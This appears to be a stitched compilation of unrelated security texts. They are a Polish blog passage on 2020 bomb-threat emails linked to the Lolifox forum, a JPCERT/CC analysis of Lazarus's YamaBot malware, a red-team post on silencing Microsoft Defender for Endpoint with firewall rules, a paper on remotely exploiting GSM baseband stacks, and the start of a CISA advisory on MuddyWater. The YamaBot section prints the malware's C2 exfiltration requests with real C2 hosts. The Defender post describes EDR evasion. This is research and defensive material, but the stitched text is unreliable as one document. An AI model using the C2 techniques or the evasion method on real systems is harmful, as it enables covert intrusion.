W feralnym 2020 roku głośno było także o fałszywych alarmach bombowych. Wiele miejsc w Polsce zostało wówczas sparaliżowanych fałszywymi alarmami bombowymi. Były to szczególnie instytucje państwowe: prokuratury, sądy, przedszkola, szkoły, uczelnie, szpitale, centra handlowe, media i transport publiczny. W mediach mówiło się, że maile są wysyłane z adresów z końcówką @secmail.pro. Prócz podejrzeń rzucanych na Rosję, czy działalność wywiadów, uwagę skupiali przedstawiciele darknetu i znanego już nam Lolifoxa.
## Zorganizowana grupa czy przypadkowy przestępca?
Śledczy mieli nie lada zagwozdkę. Wiele informacji w darknecie wskazywało na to, że maile wysyłała zbieranina przypadkowych, aspołecznych ludzi z internetu, którzy uważają to za doskonałą zabawę. Chcą poczuć adrenalinę i to, że mogą mieć wpływ na czyjeś życie w tak ważnym jego momencie, jak matura, rozpoczęcie roku szkolnego itp. W sieci dudniło od komentarzy: alarmy bombowe w szkołach to głupi żart użytkowników jednego z chanów, prawdopodobnie Lolifox Poland. Podczas matur w 2019 roku doszło do ponad 700 alarmów. Rok później jako winnego wskazano rosyjski wywiad GRU. „Dokładne badanie treści e-maili z fałszywymi informacjami naprowadziło naszych ekspertów na serwery usytuowane w Sankt Petersburgu. Ustalono, że były już w przeszłości wykorzystywane do rozsyłania różnych treści, które miały wywołać zamieszanie w różnych częściach świata. Udało się też ustalić autorów całej akcji: to osoby zalogowane na kontach wykorzystywanych przez GRU – rosyjski wywiad wojskowy” – pisały media.
## Co mają wspólnego Rosja i Lolifox?
Autor tych wiadomości namawiał internautów, by rozsyłali je do poszczególnych szkół, w których miały się odbyć matury / premiery filmowe w kinach itp. Resztę wykonali już – nieświadomi, że działają dla Rosjan – internauci, którzy zainspirowani rozsyłali fałszywe informacje. Część alarmów wysyłanych było też z automatycznych kont. Analiza wykazała, że ataków mogła dokonać grupa osób „skoordynowana” pod adresem lolifox.org. Pisano przykładowe szablony wiadomości e-mail, instrukcje dotyczące uzyskiwania adresów szkolnych, w tym listy gotowe do pobrania oraz informacje o anonimowym sposobie dystrybucji wiadomości e-mail.
W zabawę w alarmy bombowe czy inne cyberataki przestępcy bawili się już dużo wcześniej. Już w 2019 roku na Lolifox określanym jako „polskie forum wywrotowe” jeden z wątków z 23 stycznia 2019 roku dotyczył bombardowania alarmów i nosił nazwę: „POMYSŁ NA ZABAWĘ? CZY TO JEST ATAK TERRORYSTYCZNY?” Anonimowy autor wątku zamieścił codzienną listę artykułów opisujących kolejne alarmy bombowe, możliwe, że sprowokowane przez niego samego.
Przestępcy wzajemnie informowali się, w jaki sposób zachować anonimowość. Nakręcali się, podsyłając linki z informacjami o kolejnych alarmach bombowych. Internetowi dywersanci, działający na niekorzyść swojego państwa, szczególnie przykuwają uwagę obcych służb, które nakierowują ich działanie na własne cele. Niczego nieświadomi przyczyniają się do tego, że służby realizują swoje cele w białych rękawiczkach. A te cele to destabilizacja państwa polskiego, podważenie poczucia bezpieczeństwa obywateli i testowanie skuteczności działania służb bezpieczeństwa.
W styczniu 2020 alarmów bombowych było aż 125. Istnieje duże prawdopodobieństwo, że było ich więcej. Nie każdy alarm był opisany w mediach. Niektóre artykuły były archiwizowane w sieci Tor. Z biegiem czasu wątek było tam coraz więcej wpisów. Omawiały kwestie anonimowości, pomysły na nowe alarmy itp.
Ostatni wpis na forum Lolifox pojawił się w grudniu 2020 roku, a więc już po „zdjęciu” aliasu lolifox.cc, który umożliwiał czytanie forum z poziomu otwartego Internetu. Jednak alarmy bombowe nadal miały miejsce. Choć zakres tych ataków wydawał się być dużo mniejszy…
## Społeczność Lolifox… jest, czy jej nie ma?
Analizując opisane zajścia i niewiele późniejsze zniknięcie Lolifoxa najpierw z otwartego Internetu, a chwilę potem również samej ukrytej usługi w sieci Tor – kusi stwierdzenie, że kwestie te mogą być powiązane. Trudno uwierzyć w to, że buntownicza społeczność Lolifoxa zwyczajnie odeszła w cień. Znudziła się swoją działalnością? Wystraszyła? Może gdzieś w przepastnej cyberprzestrzeni działają pod inną nazwą (jakaś niewielka część działa pod adresem endchan.org/4/).
A Wy co o tym myślicie? Czy użytkownicy wywrotowego forum działają gdzieś jeszcze w czeluściach darknetu? Dajcie znać w komentarzach, albo tradycyjnie secmailem. |
# YamaBot Malware Used by Lazarus
**Author:** 朝長 秀誠 (Shusei Tomonaga)
**Date:** July 7, 2022
JPCERT/CC is continuously investigating the activities by Lazarus. In 2021, JPCERT/CC presented on its attack activities at CODE BLUE and HITCON. The YamaBot malware shared in the above research report targeted the Linux OS, but another type recently found targets Windows OS. (It is referred to as Kaos in the document, but this blog refers to it as YamaBot.) YamaBot is malware coded in Golang, with slightly different functionality between types created for each platform. In addition to YamaBot, Lazarus also created several other types of malware targeting multiple platforms, such as VSingle. This article covers the details of YamaBot.
## Overview of YamaBot
YamaBot malware communicates with C2 servers using HTTP requests. The following is a list of function names included in the sample that targets Windows OS. It is the attacker that named the malware as YamaBot. Those targeting Windows OS have functions specific to it, such as creating and checking Mutex.
- `/D/Bot/YamaBot/utilities.BaseDecodeR`
- `/D/Bot/YamaBot/utilities.HttpPostWithCookie`
- `/D/Bot/YamaBot/utilities.HttpPostWithFile`
- `/D/Bot/YamaBot/utilities.GetMacAddress`
- `/D/Bot/YamaBot/utilities.GetHash`
- `/D/Bot/YamaBot/utilities.GetCookieParams`
- `/D/Bot/YamaBot/utilities.GetRndString`
- `/D/Bot/YamaBot/utilities.BmpMaker`
- `/D/Bot/YamaBot/utilities.createMutex`
- `/D/Bot/YamaBot/utilities.CCheckkmutex`
- `/D/Bot/YamaBot/utilities.CIpaddress`
- `/D/Bot/YamaBot/utilities.COsname`
- `/D/Bot/YamaBot/utilities.getOSVer`
- `/D/Bot/YamaBot/utilities.Run`
- `/D/Bot/YamaBot/utilities.Run.func1`
- `/D/Bot/YamaBot/utilities.Run.func2`
- `/D/Bot/YamaBot/engine.(*FileStruct).Lunch`
- `/D/Bot/YamaBot/engine.(*FileStruct).Init_Verbindung`
- `/D/Bot/YamaBot/engine.(*FileStruct).Verschlusselte_Zeichenkette_Eerhalten`
- `/D/Bot/YamaBot/engine.(*FileStruct).getInitBotInfo`
- `/D/Bot/YamaBot/engine.(*FileStruct).getEggPrice`
- `/D/Bot/YamaBot/engine.(*FileStruct).handleMarketPrice`
- `/D/Bot/YamaBot/engine.(*FileStruct).processMarketPrice`
- `/D/Bot/YamaBot/engine.(*FileStruct).getSessionStr`
The following is a list of malware function names included in the sample targeting Linux OS. The name Kaos was used for it.
- `/C/Users/administrator/Downloads/kaos/utilities.BaseDecodeR`
- `/C/Users/administrator/Downloads/kaos/utilities.HttpPostWithCookie`
- `/C/Users/administrator/Downloads/kaos/utilities.BaseDecode`
- `/C/Users/administrator/Downloads/kaos/utilities.HttpPostWithFile`
- `/C/Users/administrator/Downloads/kaos/utilities.GenerateUniqueID`
- `/C/Users/administrator/Downloads/kaos/utilities.GetCookieParams`
- `/C/Users/administrator/Downloads/kaos/utilities.BaseEncode`
- `/C/Users/administrator/Downloads/kaos/utilities.GetRndString`
- `/C/Users/administrator/Downloads/kaos/utilities.EierKochen`
- `/C/Users/administrator/Downloads/kaos/utilities.CIpaddress`
- `/C/Users/administrator/Downloads/kaos/utilities.Run`
- `/C/Users/administrator/Downloads/kaos/engine.(*Egg).Lunch`
- `/C/Users/administrator/Downloads/kaos/engine.(*Egg).kandidatKaufhaus`
- `/C/Users/administrator/Downloads/kaos/engine.(*Egg).initDuck`
- `/C/Users/administrator/Downloads/kaos/engine.(*Egg).GetEncString`
- `/C/Users/administrator/Downloads/kaos/engine.(*Egg).getInitEggPrice`
- `/C/Users/administrator/Downloads/kaos/utilities.COsname`
- `/C/Users/administrator/Downloads/kaos/engine.(*Egg).getEggPrice`
- `/C/Users/administrator/Downloads/kaos/engine.(*Egg).handleMarketPrice`
- `/C/Users/administrator/Downloads/kaos/engine.(*Egg).processMarketPrice`
- `/C/Users/administrator/Downloads/kaos/engine.(*Egg).getSessionStr`
- `/C/Users/administrator/Downloads/kaos/engine.NewEgg`
Figure 1 shows a part of the code to read configuration. The malware's configuration includes RC4 keys. The configuration has no difference depending on OS.
## Communication methods
YamaBot communicates with the C2 server using HTTP requests. The following is the first HTTP POST request sent by YamaBot. Although it is a HTTP POST request, there is no data to send. It is also unique in that the UserAgent is Base64-encoded.
```
POST /editor/session/aaa000/support.php HTTP/1.1
Host: 213.180.180.154
User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSF
Connection: close
Content-Length: 0
Accept-Encoding: gzip
```
After successfully connecting to the C2 server, YamaBot sends the following request, which includes information in its cookie header. The `captcha_session` contains a randomly generated string and a RC4 key ([random characters (16 bytes)][RC4 key (16 bytes)][random characters (4 bytes)]), Base64-encoded. The RC4 key is the first 16 bytes of the MD5 value created from the following data.
- Target Windows OS: hostname, username, MAC address
- Target Linux OS: hostname, username
The `captcha_val` contains device information and the results of command execution, RC4-encrypted and Base64-encoded.
```
POST /editor/session/aaa000/support.php HTTP/1.1
Host: 213.180.180.154
User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSF
Connection: close
Content-Length: 0
Cookie: captcha_session=MTE5NzZmMTYwYzRlNTU4YjhhNDZhMTM4ZGMwNzgzNTNhNmUy; captcha_val=W%2BIePQNeokInrSpb%2Fw1rTLAZvJAZQHmqAm2rXWdTsCvZ
Accept-Encoding: gzip
```
The first data sent by `captcha_val` is OS information and IP address. The following contents are sent.
```
windows 6 amd64|[192.168.1.1]
linux 386|[192.168.1.1]
```
Furthermore, if the size of the data to be sent exceeds a certain size (check the examples of 3,333 bytes and 7,000 bytes), it is sent disguised as multi-part BMP data instead of `captcha_val`.
```
POST /recaptcha.php HTTP/1.1
Host: www.karin-store.com
User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSF
Connection: close
Content-Length: [Length]
Content-Type: multipart/form-data; boundary=f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb
Cookie: captcha_session=YTY5NDQ5MDYwNmRkNjIyOWI3MzU1NTNmYzMxMzhiNTAyNGJh; captcha_val=NGI5NjdhNTdhNjliZTVkMg%3D%3D
Accept-Encoding: gzip
--f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb
Content-Disposition: form-data; name="recaptcha"; filename="recaptcha.png"
Content-Type: application/octet-stream
BMf6(....0a..DT043b01c728892b495b99ea4c257fe3a8fea3a5f
--f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb--
```
The commands from the server are included in the Set-Cookie header. They are RC4-encrypted and Base64-encoded and then included in the `captcha_session` as follows. Note that the data sent by the malware is used as the RC4 key.
```
Set-Cookie: captcha_session=[Base64エンコードされた命令]
```
## Command
The malware executes certain commands sent from its C2 server, and they are largely different depending on target OS. Those targeting Linux OS can only execute shell commands by `/bin/sh`. On the other hand, those targeting Windows OS have multiple commands implemented as follows.
- `dir`: Get the file list
- `Mapfs`: Get the directory list
- `Download`: Download file
- `Info`: Send file path and PID
- `Sleep`: Change sleep time
- `Uninstall`: Delete itself
- `i`: Change interval time
- Others: Execute a given string with shell command
The command is in the form of `[command][command parameters]`, and the first half includes the above command. When the command `i` is executed, the execution result is sent including German language as follows. The reason why German language is included in YamaBot is unknown.
## In closing
YamaBot malware is still used by attackers. Since it targets not only Windows OS but also Linux OS, servers should also be carefully investigated during incident investigation. Attention should continuously be paid as attacks by Lazarus have been confirmed in Japan. Another type of malware used by Lazarus will be covered in the next issue.
**Appendix A: Configuration Information**
**Table A-2: List of configuration information (x86)**
| Offset | Description | Notes |
|--------|-------------------------------------|-------|
| 0x000 | interval | communication interval |
| 0x004 | - | unused |
| 0x008 | C2 server | |
| 0x00C | C2 server length | |
| 0x010 | RC4 key | |
| 0x014 | RC4 key length | |
| 0x018 | C2 server connection | C2 server connection successful/unsuccessful |
| 0x01C | Cookie header value | Value to set in cookie header |
| 0x020 | - | unused |
| 0x024 | The number of connections | The number of reconnections to C2 server |
**Table A-1: List of configuration information (x64)**
| Offset | Description | Notes |
|--------|-----------------------------------|-------|
| 0x000 | interval | communication interval |
| 0x008 | C2 server | |
| 0x010 | C2 server length | |
| 0x018 | RC4 key | |
| 0x020 | RC4 key length | |
| 0x028 | C2 server connection | C2 server connection successful/unsuccessful |
| 0x030 | Cookie header value | Value to set in cookie header |
| 0x038 | - | unused |
| 0x040 | The number of connections | The number of reconnections to C2 server |
**Appendix B: C2 server**
- http://www.karin-store.com/recaptcha.php
- http://yoshinorihirano.net/wp-includes/feed-xml.php
- http://213.180.180.154/editor/session/aaa000/support.php
**Appendix C: Malware hash value**
- f226086b5959eb96bd30dec0ffcbf0f09186cd11721507f416f1c39901addafb
- 6db57bbc2d07343dd6ceba0f53c73756af78f09fe1cb5ce8e8008e5e7242eae1
**Author:** 朝長 秀誠 (Shusei Tomonaga)
Since December 2012, he has been engaged in malware analysis and forensics investigation, and is especially involved in analyzing incidents of targeted attacks. Prior to joining JPCERT/CC, he was engaged in security monitoring and analysis operations at a foreign-affiliated IT vendor. He presented at CODE BLUE, BsidesLV, BlackHat USA Arsenal, Botconf, PacSec and FIRST Conference. JSAC organizer. |
# Silencing Microsoft Defender for Endpoint Using Firewall Rules
**Søren Fritzbøger**
January 21, 2021
Windows Defender for Endpoint (formerly Windows Defender ATP) is a so-called “cloud powered” EDR product, i.e., alerts and events are pushed to the cloud where defenders can respond to them. When doing Red Team assignments, one of the biggest hurdles usually lies in evading EDR products and ensuring that our actions are not detected. While a lot of work and research has been put into evading and bypassing Windows Defender for Endpoint, little research explores the possibility of simply silencing MD for Endpoint such that no data is sent to the cloud.
This article will explore one possible way of silencing MD for Endpoint by utilizing firewall rules to ensure that no events are sent to Microsoft Defender Security Center, and how to detect this kind of activity. Known methods of tampering with MD for Endpoint were detailed in Chris Thompson’s (@retBandit) talk “Red Team Techniques for Evading, Bypassing, and Disabling MS Advanced Threat Protection and Advanced Threat Analytics” from BlackHat Europe 2017. In this talk, the usage of firewall rules to block traffic to known MD for Endpoint URLs is discussed. While this technique still works, it is cumbersome to create firewall rules for all the hosts detailed in the service URLs for MD for Endpoint.
Furthermore, the list of URLs also contains entries such as `*.blob.core.windows.net` and `*.azure-automation.net`, which might break certain Windows services. In the case of a Red Team or penetration test, you don’t want to negatively affect the client more than necessary or alert defenders by obstructing the usual workflow.
Therefore, instead of blocking communication to certain URLs, we wanted to assess if it was possible to block communication for specific services and processes in order to silence MD for Endpoint. To do this, we needed to figure out which processes communicate with known MD for Endpoint URLs and block these specific processes. There are many ways to examine which domains processes contact, including Microsoft Network Monitor, Wireshark, and probably a ton of others. However, all the information we need is already collected by MD for Endpoint and available to us through Microsoft Defender Security Center!
MD for Endpoint gathers network connections from all running processes and can therefore be used to figure out what processes communicate with known MD for Defender URLs. The following Kusto query can be run to see these processes.
## Kusto Query to Find Processes Making Connections to Known MD for Endpoint URLs
Going through the list, we have a few processes that stick out as processes that do not have anything to do with MD for Endpoint. For example, Teams.exe, which is the official Teams client for Microsoft, apparently sends events to the known URLs. Furthermore, we have a process with no name, which we did not look further into.
The rest of the processes should be very familiar to anyone who has experience with Defender for Endpoint. However, a thorough understanding of these processes will aid in blocking them effectively using Windows Firewall.
- Executable that spawns as a child process of MsSense.exe when initiating a “Live Response Session” through Microsoft Defender Security Center.
- Executable that spawns as a child process of MsSense.exe. The description calls it “Communication Module,” so presumably handles communication to the aforementioned URLs and also proxying if you applied this.
- Main service executable for Defender for Endpoint. This runs as a service with the name “Sense” (On Windows 10).
- Main service executable for Microsoft Defender Antivirus. This runs as a service with the name “WinDefend” (On Windows 10).
- Command-line tool to perform various Microsoft Defender Antivirus functions.
- Executable that spawns as a child process of the HealthService service. Part of Microsoft Monitoring Agent, which is installed when onboarding devices with previous versions of Windows (Server 2016 and below + Windows 8.1 Enterprise and below).
- Main service executable for Microsoft Monitoring Agent, which is installed when onboarding devices with previous versions of Windows (Server 2016 and below + Windows 8.1 Enterprise and below).
Furthermore, there are a bunch of native Windows services such as utcsvc and diagtrack that also communicate with the known URLs, but in our testing, they were not sending any event or alert data related to MD for Endpoint.
## PoC — Firewall Rules
### Windows 10 and Windows Server 2019
Silencing MD for Endpoint on Windows 10 and Windows Server 2019 is fairly easy, as only the three processes, MsMpEng, SenseCncProxy, and MsSense need to be blocked from sending traffic outbound on port 443. Running the following PowerShell script will effectively silence Windows Defender without triggering any alerts at the time of writing:
Adding firewall rules in Windows requires local admin privileges, so the attack cannot be done from a low privileged user account. As you can see from the following screenshot taken from Microsoft Defender Security Center, no events are received once the firewall rules are applied.
It seems that all events are cached locally, so once the firewall rules are removed, the events and alerts will start showing up in Microsoft Defender Security Center.
### Previous Versions of Windows?
While we could give the answer to this question, we will leave this as an exercise to the reader. All the information should already be given, so it is just a matter of doing a little bit of research and trying stuff out.
## Detection
If you rely solely on MD for Endpoint for host-based intrusion detection, you are at a loss here. As no event or alert is sent to the cloud solution, it is, at the time of writing, impossible to detect using MD for Endpoint in any useful way. Luckily for us, MD for Endpoint logs connection errors in the Microsoft-Windows-SENSE/Operational event log with event id 5. An example can be seen below.
While you could also detect the attack based on process execution or PowerShell logs, it is not a robust solution as many ways of adding firewall rules exist in Windows, for example using the GUI or netsh.exe. I have not found a proper way of detecting the creation of firewall rules, as most resources point to event id 4947 (A change has been made to Windows Firewall exception list. A rule was modified) which only shows the RuleId and RuleName, but not the rule content.
**Addition:** When MD for Endpoint has been blocked for 7 days, the health state will change to inactive. This means that for the first 7 days, the device is not marked as inactive even though it is not sending any alerts or events.
**Addition 2:** In the Device Inventory overview, you can filter devices that have “Impaired communications” or “No sensor data.” According to @SiliconShecky, this list will show the devices within 24 hours.
**Addition 3:** @bh4b3sh has published a post describing how the creation of firewall rules can be detected by using registry auditing.
## Prevention
While it is possible to create custom detection rules in MD for Endpoint, these are only evaluated on the server and do not block any actions on the endpoints. It merely alerts on them for an operator to take action. Therefore, to prevent this specific attack, we have to wait until Microsoft decides to block the action itself in Microsoft Defender through AMSI or similar methods.
I hope you enjoyed the article. If you have any questions, don’t hesitate to contact me on Twitter @fritzboger. |
# Baseband Attacks: Remote Exploitation of Memory Corruptions in Cellular Protocol Stacks
**Ralf-Philipp Weinmann**
University of Luxembourg
<[email protected]>
## Abstract
While the cryptographic algorithms A5/1 and A5/2 used for link-level encryption of voice data in GSM have been practically broken and interception attacks have been shown to be easily possible with off-the-shelf hardware, only little effort has been directed at researching the security of the software directly interfacing with the cellular network, the so-called cellular baseband stack.
In this paper, we demonstrate the risk of remotely exploitable memory corruptions in cellular baseband stacks. We analyze two widely deployed baseband stacks and give exemplary cases of memory corruptions that can be leveraged to inject and execute arbitrary code on the baseband processor. The vulnerabilities can be triggered over the air interface using a rogue GSM base station, for instance using OpenBTS together with a USRP software-defined radio.
**Keywords:** baseband security; radio firmware; memory corruption; GSM
## 1 Introduction
Despite recent deployments of 4G networks, Global System for Mobile Communications (GSM) still is the prevalent standard for cellular communications. With billions of GSM handsets deployed, about 70% of all cellular connections in 2011 were estimated to have been performed using GSM as bearer technology. Moreover, GSM will not go away soon, as even the majority of Long Term Evolution (LTE) devices are backwards-compatible not only with 3G technology but with GSM to provide connectivity in areas lacking both 4G and 3G coverage.
Let us briefly describe our attack scenario: The attacker will operate a rogue Base Transceiver Station (BTS) in vicinity to the targeted Mobile Station (MS). The rogue BTS sends out system information messages announcing the availability of a network that the targeted mobile station is willing to connect to. As the primary criterion for network reception is signal strength, the attacker can force the MS to connect to its rogue base station by simply transmitting with a stronger signal than the legitimate base station. This will not happen instantaneously, but the process can be sped up by using a GSM jammer to selectively jam the frequency of the legitimate BTS. This scenario is very similar to the one used by IMSI catchers. Since GSM does not provide mutual authentication, there is no protection against fake BTSs.
Mobile stations come in different types: examples are USB data dongles providing connectivity to laptops, tablet devices with cellular connectivity, and cellular phones. The class of cellular phones can be divided into two types: so-called "feature phones," which only offer their users basic functionalities such as making and receiving calls and sending and receiving text messages, and "smartphones," which can be considered personal assistants. Smartphones allow their users to perform a wide variety of tasks, such as browsing the web, sending and receiving email, installing custom applications, taking pictures, shooting video, etc. Although the results described in this paper may apply to all handsets running vulnerable protocol stacks, we made a deliberate decision to focus our research on smartphones, as they are the most interesting targets for real-world attackers. Besides storing valuable personal data, smartphones have become the gateway to the digital world for many people. In 2011, the number of smartphones shipped surpassed the number of personal PCs and tablet PCs combined.
A paper describing the anatomy of modern GSM telephones has been written by Welte. Although the line drawn between smartphones and feature phones is fluid and shifting, we can use the following distinction in their hardware to separate the two: Feature phones only have a single CPU that runs an operating system that both displays the user interface and at the same time runs the baseband software stack. On the other hand, the majority of modern smartphones contain at least two CPUs, the application processor, which handles the user interface and runs the applications installed by the user, and a second CPU, the baseband processor, that handles connectivity to the cellular network. Some smartphone designs use a shared-memory architecture where the baseband processor can access all of the application processor’s memory space, while other designs have better isolation, i.e., the baseband processor and the application processor have separate memories and exchange messages through a dedicated communication channel, e.g., a serial line or a small shared-memory segment.
## Our Contribution
We analyze which areas of GSM baseband stacks most likely contain programming errors leading to remotely exploitable memory corruptions. To drive our point home, we describe two bugs for two vendors with a high market share that we found during our research. We discuss what difficulties had to be overcome to exploit these memory corruptions and what the resulting impact is.
## Related Work
Mulliner, Golde, and Seifert systematically analyzed the resilience of a number of mobile phones against malformed short messages using fuzzing and demonstrated numerous remotely exploitable denial of service attacks using this vector – yet it is unclear whether any of the described vulnerabilities lead to remote code execution. At Black Hat 2009, Miller and Mulliner presented a vulnerability in the SMS parsing functionality of iPhone that can lead to remote code execution; this attack does not require user interaction, but it exploits a bug in CommCenter, which is running on the application processor.
## 2 GSM Layers and Information Elements
The layering of cellular protocols does not cleanly map to the OSI model. The GSM protocol stack on the MS consists of several layers, of which only the lowest three are considered in this paper. The physical layer (layer 1) of the air interface uses Gaussian Minimum Shift Keying (GMSK) for modulating binary sequences and a combination of Time Division Multiple Access (TDMA), Frequency Division Multiple Access (FDMA), and frequency hopping for transmitting frames. The physical layer also implements logical signaling channels.
The data-link layer (layer 2) uses Link Access Procedure on Dm Channels (LAPDm), which is a simplified version of ISDN’s Link Access Protocol Channel D (LAPD) that has been adapted to the air interface. LAPDm handles transport of messages between protocol entities of layer 3 and signaling tasks.
Layer 3 is significantly more complex and can be subdivided into the following sublayers (ordered from bottom to top of the stack again):
- Radio Resource Management (RR): e.g., channel set-up and tear-down
- Mobility Management (MM): e.g., location updates
- Connection Management (CM): call control (call establishment/release), supplementary services (e.g., USSD), SMS
The message format of layer 3 messages is specified in GSM 04.07, the actual messages that can be exchanged are defined in GSM 04.08. A layer 3 message is composed of:
- Transaction identifier or skip indicator (4 bits)
- Protocol discriminator (4 bits)
- Message type (8 bits)
- Other information elements (potentially variable length)
Of interest here are Information Elements (IEs), which come in several flavors: V, LV, T, TV, and TLV where T denotes tag, L denotes length, and V denotes value. The types V, T, and TV are for Information Elements of fixed length, whereas LV and TLV are used for information elements that have varying length.
## 3 Vulnerability Analysis
Cellular baseband stacks generally are not available in source form for non-licensees. However, in 2004 the source code tree for the Vitelcom TSM30 mobile phone was uploaded to a Sourceforge project. Eventually it was removed, but only after having been available for download for a number of years. This source code included an old version of the Condat GSM baseband stack and allowed us to obtain a general understanding of the structure of cellular stacks. This knowledge proved to be very helpful for binary analysis of our target firmwares, even though these stacks were written by completely different companies on different real-time operating systems.
When we began our analysis, we chose two example targets, namely the Apple iPhone 4 (using a Comneon stack on an Intel chip) and the HTC Dream (using a Qualcomm stack and chip). As baseband binaries are fairly large (multiple megabytes), we only reverse-engineered the parts that we deemed interesting. For almost all smartphones, firmware updates are readily available either from the respective website of the respective vendor or from the website of a carrier. Most of the time these updates do not only contain bug fixes or enhancements for the code running on the application CPU, but also include a full baseband binary blob. To extract this firmware image, it is necessary to unpack – and for older iPhones to decrypt – the firmware update. Tools and instructions on how to do this can usually be found on message boards dedicated to tinkering with the firmware of cellular phones. The reverse-engineering process is significantly simplified by error strings and file names of source code files embedded in the binaries.
## 3.1 Areas of Interest
Below layer 3, there usually is little potential for exploitable memory corruptions, as the messages transmitted are too short. An exception to this rule are voice codecs. Reading parts of the GSM layer 3 specification, an inclined reader finds multiple areas that look promising for exploitation: there are a large number of messages that specify IEs to be encoded as TLV or LV, even though in the message description it becomes clear that the values transmitted are of predefined length. This can usually lead to a mismatch between different implementers and hence to the most classic of all memory corruptions, the buffer overflow. At one point there may be a fixed-length buffer allocated, while at another point the message is copied into the buffer without making sure that the message indeed is smaller than the buffer, trusting the length argument specified in the information element.
Similarly, many explicit state machines exist, many of which have state transitions depending on timer expiries. As some of the state transitions involve allocation and deallocation of dynamic memory, dangling pointers can arise if implementers are not carefully covering edge cases.
## 3.2 Classification of Bugs Found
To get a better understanding of which parts of the cellular baseband code are most worthwhile auditing, it makes sense to classify the (memory corruption) vulnerabilities we have found by type:
- **Insufficient length checks:** These were by far the most common types of bugs we encountered. They usually resulted in data on the heap or on the stack being overwritten, which can be leveraged by an attacker to gain control over the execution flow using the usual methods. Exploitation of heap corruption bugs is vastly more easy than on current desktop platforms in these embedded systems – initially, we didn’t find a single example of safe unlinking being employed in heap implementations of baseband operating systems.
- **Object/structure lifecycle issues:** Due to the generous use of state machines in GSM, memory corruptions can arise out of lifecycle issues. These can be use-after-free bugs (e.g., a dangling pointer to a structure that has been deallocated already) or uninitialized variables (most useful when on the stack). Exploiting these issues can be more difficult than the first kind, but given the fact that there are no exploitation countermeasures in place, they shouldn’t be easily discounted as “unexploitable.” Common examples of state machines are the state machine used for handling incoming SMSes and for Cell Broadcasts.
- **Integer overflows/underflows:** We only found a very small number of these bugs compared to the other kinds. This may be either because our methods for detecting them (in binary code) are not enough or because cellular code base is inherently less prone to these types of bugs.
## 4 From Bugs to Exploits
Developing exploits for embedded systems can be challenging if the platform is only partially understood, as is usually the case with large reverse-engineered codebases such as cellular protocol stacks. Moreover, debugging capabilities can be very primitive if JTAG access to the chip has been disabled.
However, to demonstrate the exploitability of a vulnerability, it is sufficient to make the phone perform an unexpected action: We have chosen to use the auto-answer functionality – defined in GSM specification 07.07 (AT command set for GSM Mobile Equipment) – which makes the phone automatically pick up an incoming call without user interaction after a predefined number of rings. The auto-answer feature is mandatory for cellular phones and enabled by sending the command ATS0=n over the AT command interface to the baseband; n indicates the number of rings after which the call should be automatically picked up with n=0 disabling the functionality.
To enable the auto-answer in our exploit, we first locate the AT command handler for setting the S0 register. For stack-buffer overflows or other exploits that give us control over the program counter directly, we then load the value 1 into register R0 and redirect the execution to the entry point of the S0 register handler.
## 5 Impact
Successful exploitation of memory corruption in GSM baseband software stacks provides an attacker with access to privacy-relevant hardware of the telephone. Audio routing on the majority of chipsets is done on the baseband CPU, which means that it has access to the built-in microphone; similarly for built-in cameras. An attacker that has taken control over the baseband side of a telephone can monitor a user completely transparently – without visibility of the compromise from the side of the application CPU. Furthermore, given the large quantities of RAM available to the baseband on some phones, surreptitious room monitoring is possible: Simply record the audio from the microphone and store the compressed audio data to a ring buffer in RAM. The payload then waits until a data connection is established and piggy-backs onto it, sending out the compressed recording to a server of its choice.
We have disclosed the bugs described in this paper to the affected baseband stack vendors. The TMSI overflow has been assigned the CVE identifier CVE-2010-3832 and has been fixed in the baseband firmware shipped with Apple’s iOS 4.2. Although no public documentation on this matter exists, we understand that the AUTN overflow has been patched in Qualcomm’s tree and updates have been sent out to the OEMs.
## 6 Conclusions and Outlook
We have demonstrated that memory corruptions in baseband firmwares exist and can be practically exploited. These security problems are to be taken seriously: practical exploitation of these completely compromises the integrity of the attacked handset. Merely coming into the proximity of a malicious base station is sufficient to take over any vulnerable handset – no user interaction is required by the bugs we have outlined above. The cost of exploitation is low enough to make these attacks a reality even for attackers with a limited budget: for the price of a mid-range laptop – USD 1500 – an attacker can buy the hardware to operate a malicious GSM cell.
To increase the security of baseband stacks, we suggest to vendors that baseband operating stacks undergo a systematic and continuous code audit and use hardening options similar to the ones used in desktop operating systems. This will make practical exploitation of security vulnerabilities in baseband stacks more difficult. We understand that our findings have caused extensive code reviews of multiple baseband stacks to happen. |
# Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks
**SUMMARY**
The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the U.S. Cyber Command Cyber National Mission Force (CNMF), and the United Kingdom’s National Cyber Security Centre (NCSC-UK) have observed a group of Iranian government-sponsored advanced persistent threat (APT) actors, known as MuddyWater, conducting cyber espionage and other malicious cyber operations targeting a range of government and private-sector organizations across sectors—including telecommunications, defense, local government, and oil and natural gas—in Asia, Africa, Europe, and North America.
Note: MuddyWater is also known as Earth Vetala, MERCURY, Static Kitten, Seedworm, and TEMP.Zagros. MuddyWater is a subordinate element within the Iranian Ministry of Intelligence and Security (MOIS). This APT group has conducted broad cyber campaigns in support of MOIS objectives since approximately 2018. MuddyWater actors are positioned to provide stolen data and access to the Iranian government and to share these with other malicious cyber actors.
To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office or the FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by email at [email protected]. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at [email protected].
United Kingdom organizations should report a significant cybersecurity incident to ncsc.gov.uk/report-an-incident or for urgent assistance call 03000 200 973.
